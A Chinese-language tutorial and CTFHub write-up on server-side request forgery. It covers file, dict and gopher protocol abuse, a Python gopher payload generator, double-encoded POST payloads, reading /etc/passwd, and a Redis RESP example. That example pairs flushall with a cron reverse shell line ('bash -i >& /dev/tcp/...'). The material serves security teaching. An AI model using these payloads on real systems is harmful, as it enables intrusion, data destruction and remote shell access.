漏洞成因 🔗
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种攻击者通过构造数据进而伪造服务器端发起请求的漏洞。由于存在防火墙的防护,导致攻击者无法直接入侵内网;这时攻击者可以以服务器为跳板发起一些网络请求,从而攻击内网的应用及获取内网数据。
SSRF漏洞成因多是服务端提供了从外部服务获取数据的功能,但没有对目标地址、协议等重要参数进行过滤和限制,从而导致攻击者可以自由构造参数,而发起预期外的请求。
漏洞寻找 🔗
SSRF漏洞一般出现在有调用外部资源的场景中,可以尝试是否能控制、支持常见的协议:
1.http/s://
:可用来探测内网主机端口,访问内网web应用.如?url=http://127.0.0.1/flag.php
。
-
file://
:从文件系统中获取文件内容,如file:///etc/passwd
-
dict://
:字典服务器协议,可以获取目标服务器上运行的服务版本等信息、进行端口扫描、操作内网redis服务等。如url=dict://127.0.0.1:6379/info
。 -
gopher://
:分布式的分档传递服务,可实现向指定服务器上发送HTTP请求,MYSQL请求等。
- **构造HTTP数据包:**由于Gopher协议是通过TCP直接传输数据,因此需要对HTTP请求报文中的特殊字符进行URL编码,以确保数据在传输过程中不会被误解或截断。特别是回车(\r)和换行(\n)字符,需要分别编码为
%0D和%0A
。
使用如下python脚本生成标准格式的gopher协议:
import urllib.parse
payload = \
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=a68a3b03e80ce7fef96007dfa01dc077
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
注意:POST、Host、Content-Type和Content-Length
这四个参数是POST请求必须有的,且发送gopher协议, 协议后的IP一定要接端口。
因为urllib.parse.quote()
会将换行编码为%0A,而在gopher协议中,进行URL编码,会将回车换行编码为%0d%0a,所以,第二步使用replace()将%0A替换为%0D%0A。接下来,拼接上gopher协议的标准格式,最后再使用一次urllib.parse.quote()对新增的部分进行URL编码。因为新增的部分不是POST数据包的内容,所以也就不存在回车换行,也就不需要将%0A替换为%0D%0A。
标准gopher协议的格式如下:
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Da68a3b03e80ce7fef96007dfa01dc077%250D%250A
ctfhub post请求
打开题目发现url有参数,传file:///var/www/html/flag.php
得到一个输入框,查看源码得到key值
将key值放入框中,出现提示:
再利用file协议查看index.php和flag.php
?url=file:///var/www/html/index.php ?url=file:///var/www/html/flag.php
flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
尝试利用gopher协议向服务器发送POST包
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=e44000403effca8e2d978adb5027d0e9
对构造的请求包进行两次url编码
第一次编码:
注意要把 %0A全部替换为%0D%0A ,替换如下:
POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2036%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0A%0D%0Akey%3De44000403effca8e2d978adb5027d0e9
再进行二次编码得到:
POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253De44000403effca8e2d978adb5027d0e9
通过index.php页面中的curl发送POST请求
payload:
?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253De44000403effca8e2d978adb5027d0e9
得到flag:
RESP协议
:一种用于Redis数据库的通信协议。
基本格式:
-
简单字符串(Simple String):以"+“开头,后面跟着一个字符串。
-
错误信息(Error):以”-“开头,后面跟着一个错误信息字符串。
-
整数(Integer):以”:“开头,后面跟着一个整数。
-
批量字符串(Bulk String):以”$“开头,后面跟着一个数字表示字符串的长度,然后是一个字符串。
-
数组(Array):以”*“开头,后面跟着一个数字表示数组的长度,然后是一个或多个RESP对象。
*1
$8
flushall
$64
*/1 * * * * bash -i >& /dev/tcp/192.168.230.132/1234 0>&1
*n代表着一条命令的开始,n 表示该条命令由 n 个字符串组成 $n代表着该字符串有 n 个字符
可以参考这个:https://blog.csdn.net/wangshuai6707/article/details/132742584
相关危险函数 🔗
SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以PHP为例,涉及到的函数有:
-
file_get_contents()
:获取文件内容。 -
fsockopen()
:实现对用户指定url数据的获取。 -
curl_exec()
:执行指定的cURL会话。
[https://blog.csdn.net/Javachichi/article/details/136038627] [https://www.cnblogs.com/sdgfsdgfsd/p/13332146.html]